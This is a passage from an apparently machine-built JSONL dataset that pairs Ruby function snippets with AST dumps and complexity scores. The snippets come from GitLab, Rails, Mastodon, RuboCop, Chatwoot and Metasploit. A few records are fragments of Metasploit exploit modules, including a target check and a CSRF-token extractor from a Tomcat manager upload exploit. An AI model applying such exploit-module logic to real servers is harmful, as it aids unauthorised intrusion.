type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"https://developer.apple.com/services-account/QH65B2/account/ios/certificate/listCertRequests.action\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"pageNumber\"]},{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"pageSize\"]},{\"type\":\"str\",\"children\":[\"500\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sort\"]},{\"type\":\"str\",\"children\":[\"certRequestStatusCode=asc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"teamId\"]},{\"type\":\"str\",\"children\":[\"XXXXXXXXXX\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"types\"]},{\"type\":\"str\",\"children\":[\"R58UK2EWSO\"]}]}]}]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"adp_read_fixture_file\",{\"type\":\"str\",\"children\":[\"list_certificates_filtered.json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"str\",\"children\":[\"https://developer.apple.com/services-account/QH65B2/account/ios/certificate/downloadCertificateContent.action?certificateId=XC5PH8DAAA&teamId=XXXXXXXXXX&type=R58UK2EAAA\"]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"adp_read_binary_fixture_file\",{\"type\":\"str\",\"children\":[\"aps_development.cer\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"https://developer.apple.com/services-account/QH65B2/account/ios/certificate/submitCertificateRequest.action\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"appIdId\"]},{\"type\":\"str\",\"children\":[\"2HNR359G63\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"specialIdentifierDisplayId\"]},{\"type\":\"str\",\"children\":[\"2HNR359G63\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"csrContent\"]},{\"type\":\"send\",\"children\":[null,\"adp_read_fixture_file\",{\"type\":\"str\",\"children\":[\"certificateSigningRequest.certSigningRequest\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"BKLRAVXMGM\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"teamId\"]},{\"type\":\"str\",\"children\":[\"XXXXXXXXXX\"]}]}]}]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"adp_read_fixture_file\",{\"type\":\"str\",\"children\":[\"submitCertificateRequest.action.json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"https://developer.apple.com/services-account/QH65B2/account/ios/certificate/revokeCertificate.action\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"certificateId\"]},{\"type\":\"str\",\"children\":[\"XC5PH8DAAA\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"teamId\"]},{\"type\":\"str\",\"children\":[\"XXXXXXXXXX\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"R58UK2EAAA\"]}]}]}]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"adp_read_fixture_file\",{\"type\":\"str\",\"children\":[\"revokeCertificate.action.json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]}]}]}","id":"6ce9a4c5-ade3-42bb-aeac-d23672db45c3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb","start_line":100,"raw_source":"def check\n    os = get_os\n\n    if os.nil?\n      return Exploit::CheckCode::Safe\n    end\n\n    Exploit::CheckCode::Appears\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"os\",{\"type\":\"send\",\"children\":[null,\"get_os\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]}]}","id":"a5a6c7c6-50f1-42f6-a7fb-1e7ee134d6df"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/app/models/active_storage/preview.rb","start_line":99,"raw_source":"def processed?\n      image.attached?\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"processed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"image\"]},\"attached?\"]}]}","id":"0a9b2249-a0fd-4a1b-b46c-d956f7c961c1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/config/entry/legacy_validation_helpers.rb","start_line":9,"raw_source":"def validate_duration(value, parser = nil)\n          return false unless value.is_a?(String)\n\n          if parser && parser.respond_to?(:validate_duration)\n            parser.validate_duration(value)\n          else\n            ChronicDuration.parse(value)\n          end\n        rescue ChronicDuration::DurationParseError\n          false\n        end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_duration\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"optarg\",\"children\":[\"parser\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parser\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parser\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"validate_duration\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parser\"]},\"validate_duration\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ChronicDuration\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ChronicDuration\"]},\"DurationParseError\"]}]},null,{\"type\":\"false\",\"children\":[]}]},null]}]}","id":"fcd89bd1-931b-4591-abf3-44ff30bbbfbe"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/bundler-checksum/lib/bundler_checksum/command/lint.rb","start_line":59,"raw_source":"def show_errors(errors)\n      return if errors.none?\n\n      errors.each { |error| $stderr.puts error }\n\n      $stderr.puts <<~MSG\n\n        Please run `bundle exec bundler-checksum init` to add correct checksums.\n      MSG\n    end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"show_errors\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"errors\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"none?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stderr\"]},\"puts\",{\"type\":\"lvar\",\"children\":[\"error\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stderr\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Please run `bundle exec bundler-checksum init` to add correct checksums.\\n\"]}]}]}]}]}","id":"f620e774-26e4-4b54-b6ad-56d8ccc0faa4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/nessus.rb","start_line":181,"raw_source":"def valid_policy(*args)\n        case args.length\n        when 1\n          pid = args[0]\n        else\n          print_error('No Policy ID supplied.')\n          return\n        end\n        pol = @n.list_policies\n        pol['policies'].each do |p|\n          if p['template_uuid'] == pid\n            return true\n          end\n        end\n        return false\n      end","complexity_score":15.7,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_policy\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"length\"]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvasgn\",\"children\":[\"pid\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"No Policy ID supplied.\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pol\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@n\"]},\"list_policies\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pol\"]},\"[]\",{\"type\":\"str\",\"children\":[\"policies\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"[]\",{\"type\":\"str\",\"children\":[\"template_uuid\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}","id":"677538a7-b11d-41bb-8707-1b0a7860dcac"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/integrations/clients/http.rb","start_line":25,"raw_source":"def post(path, options = {}, &block)\n          options[:max_bytes] ||= default_max_bytes\n\n          Gitlab::HTTP.post(path, options, &block)\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"post\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"max_bytes\"]}]},{\"type\":\"send\",\"children\":[null,\"default_max_bytes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"HTTP\"]},\"post\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"66f31e05-54e6-4733-a74f-64ed6f4a8a9c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/data_builder/issuable.rb","start_line":61,"raw_source":"def issuable_builder\n        case issuable\n        when Issue\n          Gitlab::HookData::IssueBuilder\n        when MergeRequest\n          Gitlab::HookData::MergeRequestBuilder\n        end\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"issuable_builder\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issuable\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Issue\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"HookData\"]},\"IssueBuilder\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"HookData\"]},\"MergeRequestBuilder\"]}]},null]}]}","id":"49629aaf-4210-4ea9-b5af-fd69b720351e"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/callbacks_controller.rb","start_line":71,"raw_source":"def inbox\n    @inbox = Current.account.inboxes.find_by(id: params[:inbox_id])\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"inbox\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@inbox\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Current\"]},\"account\"]},\"inboxes\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"inbox_id\"]}]}]}]}]}]}]}","id":"fdcda1fc-fe59-42c6-8426-ddf854cc60f0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/error_tracking_open_api/lib/error_tracking_open_api/models/message_event.rb","start_line":49,"raw_source":"def self.acceptable_attributes\n      attribute_map.values\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"acceptable_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attribute_map\"]},\"values\"]}]}","id":"1d3fcca0-07bb-4736-a5c7-e56bab6664aa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/packages/conan/package_finder.rb","start_line":52,"raw_source":"def by_version(packages)\n        if version.include?(SQL_WILDCARD)\n          packages.with_version_like(version)\n        else\n          packages.with_version(version)\n        end\n      end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"by_version\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"packages\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version\"]},\"include?\",{\"type\":\"const\",\"children\":[null,\"SQL_WILDCARD\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packages\"]},\"with_version_like\",{\"type\":\"send\",\"children\":[null,\"version\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packages\"]},\"with_version\",{\"type\":\"send\",\"children\":[null,\"version\"]}]}]}]}","id":"5d3d4f99-ac2e-4123-9046-e1990f9c6f56"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/connection_management_test.rb","start_line":120,"raw_source":"body = Class.new(String) { def to_path; \"/path\"; end }.new","complexity_score":4.4,"ast_json":"{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"def\",\"children\":[\"to_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"/path\"]}]}]},\"new\"]}]}","id":"d38a0133-5d6b-4f3b-80c4-3e69cddcfe1b"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/activitypub/remove_serializer.rb","start_line":32,"raw_source":"def actor\n    ActivityPub::TagManager.instance.uri_for(object.account)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"actor\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uri_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"account\"]}]}]}","id":"b0d6e3ce-7d22-4a8e-9f67-58386b4ca000"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/destroy_service.rb","start_line":169,"raw_source":"def execute_hooks(project)\n      system_hook_service.execute_hooks_for(project, :destroy)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_hooks\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"system_hook_service\"]},\"execute_hooks_for\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"sym\",\"children\":[\"destroy\"]}]}]}","id":"5e4151f8-0e0b-40bf-a80a-c0f893f2f18c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/graphql/docs/helper.rb","start_line":253,"raw_source":"def render_row(*values)\n          \"| #{values.map { |val| val.to_s.squish }.join(' | ')} |\"\n        end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"render_row\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"values\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"| \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"to_s\"]},\"squish\"]}]},\"join\",{\"type\":\"str\",\"children\":[\" | \"]}]}]},{\"type\":\"str\",\"children\":[\" |\"]}]}]}","id":"a693add1-999a-4174-b875-3207771abdd6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/audit_event.rb","start_line":109,"raw_source":"def sanitize_message\n    message = details[:custom_message]\n\n    return unless message\n\n    self.details = details.merge(custom_message: Sanitize.clean(message))\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"sanitize_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"details\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"custom_message\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"details=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"details\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sanitize\"]},\"clean\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}]}]}]}","id":"b901c535-b022-4e53-814f-17ae9b4fddde"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/config/initializers/simple_form.rb","start_line":14,"raw_source":"def recommended(_wrapper_options = nil)\n    return unless options[:recommended]\n\n    key = options[:recommended].is_a?(Symbol) ? options[:recommended] : :recommended\n    options[:label_text] = ->(raw_label_text, _required_label_text, _label_present) { safe_join([raw_label_text, ' ', content_tag(:span, I18n.t(key, scope: 'simple_form'), class: key)]) }\n\n    nil\n  end","complexity_score":19.1,"ast_json":"{\"type\":\"def\",\"children\":[\"recommended\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_wrapper_options\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"recommended\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"recommended\"]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Symbol\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"recommended\"]}]},{\"type\":\"sym\",\"children\":[\"recommended\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"label_text\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw_label_text\"]},{\"type\":\"arg\",\"children\":[\"_required_label_text\"]},{\"type\":\"arg\",\"children\":[\"_label_present\"]}]},{\"type\":\"send\",\"children\":[null,\"safe_join\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_label_text\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"span\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"str\",\"children\":[\"simple_form\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"9c87cc98-534a-48cd-a1fb-bcc08386ddd5"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/or_assignment.rb","start_line":84,"raw_source":"def take_variable_and_default_from_unless(node)\n          if node.if_branch\n            [node.if_branch.name, node.if_branch.expression]\n          else\n            [node.else_branch.name, node.else_branch.expression]\n          end\n        end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"take_variable_and_default_from_unless\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"if_branch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"if_branch\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"if_branch\"]},\"expression\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"else_branch\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"else_branch\"]},\"expression\"]}]}]}]}","id":"2663388d-6e08-4256-8e1d-f9d34b56337c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/tomcat_mgr_upload.rb","start_line":291,"raw_source":"def find_csrf(res = nil)\n    return \"\" if res.blank?\n\n    vprint_status(\"Finding CSRF token...\")\n\n    body = res.body\n\n    body.each_line do |ln|\n      ln.chomp!\n      csrf_nonce = ln.index(CSRF_VAR)\n      next if csrf_nonce.nil?\n\n      token = ln[csrf_nonce + CSRF_VAR.length, 32]\n      return token\n    end\n\n    return \"\"\n  end","complexity_score":19.75,"ast_json":"{\"type\":\"def\",\"children\":[\"find_csrf\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"res\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Finding CSRF 